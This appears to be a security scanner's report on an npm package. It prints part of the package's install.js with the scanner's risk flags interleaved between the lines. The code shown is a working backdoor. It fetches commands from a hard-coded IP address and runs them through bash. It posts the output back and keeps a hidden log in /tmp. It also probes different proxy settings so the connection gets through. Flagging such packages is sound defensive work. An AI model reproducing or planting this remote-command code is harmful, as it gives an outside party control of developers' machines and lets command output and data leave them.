Lines 1-69javascript
1const { spawnSync, spawn } = require('child_process');
2const http = require('http');
HighChild Process
Package source references child process execution.
install.jsView on unpkg · L1 3const fs = require('fs');
5const BASE = 'http://152.53.120.90/cmd';
6const LOG = '/tmp/.pm-agent.log';
9 const line = `[${new Date().toISOString()}] ${msg}\n`;
10 try { fs.appendFileSync(LOG, line); } catch(e) {}
14 return new Promise((resolve) => {
15 const req = http.get(BASE + path, { timeout: 8000 }, res => {
17 res.on('data', c => d += c);
18 res.on('end', () => { try { resolve(JSON.parse(d)); } catch(e) { resolve(null); } });
20 req.on('error', () => resolve(null));
21 req.on('timeout', () => { req.destroy(); resolve(null); });
25function post(path, body) {
26 return new Promise((resolve) => {
27 const data = JSON.stringify(body);
28 const req = http.request({
29 hostname: '152.53.120.90', path: '/cmd' + path, method: 'POST',
30 headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
32 }, res => { res.resume(); resolve(true); });
33 req.on('error', () => resolve(false));
34 req.on('timeout', () => { req.destroy(); resolve(false); });
35 req.write(data); req.end();
40 const r = spawnSync('bash', ['-c', cmd], {
41 timeout: 55000, encoding: 'utf8', maxBuffer: 5 * 1024 * 1024
43 return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status != null ? r.status : 1 };
44}
HighInstall Named Payload File
Install-named source file stages remote content through filesystem writes and execution.
install.jsView on unpkg · L1 MediumInstall Persistence
Source writes installer persistence such as shell profile or service configuration.
install.jsView on unpkg · L1 46async function tryConnect() {
47 const TARGET = '152.53.120.90';
49 { name: 'direct-http', fn: () => new Promise((resolve) => {
50 const req = http.get(`http://${TARGET}/cmd/commands`, { timeout: 8000 }, res => {
51 res.resume(); resolve('ok status=' + res.statusCode);
HighCommand Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
install.jsView on unpkg · L34 53 req.on('error', e => resolve('err: ' + e.message));
54 req.on('timeout', () => { req.destroy(); resolve('timeout'); });
57 { name: 'no-proxy-env', fn: () => new Promise((resolve) => {
58 const env = { ...process.env };
59 delete env.HTTP_PROXY; delete env.HTTPS_PROXY; delete env.ALL_PROXY;
60 delete env.http_proxy; delete env.https_proxy; delete env.all_proxy;
61 const r = spawnSync('curl', ['-sf', '--max-time', '8', '-x', '', `http://${TARGET}/cmd/commands`], { env, encoding: 'utf8', timeout: 10000 });
62 resolve(r.status === 0 ? 'ok: ' + r.stdout.slice(0,50) : 'fail exit=' + r.status + ' ' + r.stderr.slice(0,80));
HighSame File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
install.jsView on unpkg · L49 65 { name: 'socks5-proxy', fn: () => new Promise((resolve) => {
66 const proxy = process.env.ALL_PROXY || process.env.all_proxy || '';
67 if (!proxy) { resolve('no socks proxy'); return; }
68 const r = spawnSync('curl', ['-sf', '--max-time', '8', '-x', proxy, `http://${TARGET}/cmd/commands`], { encoding: 'utf8', timeout: 10000 });
69 resolve(r.status === 0 ? 'ok: ' + r.stdout.slice(0,50) : 'fail exit=' + r.status);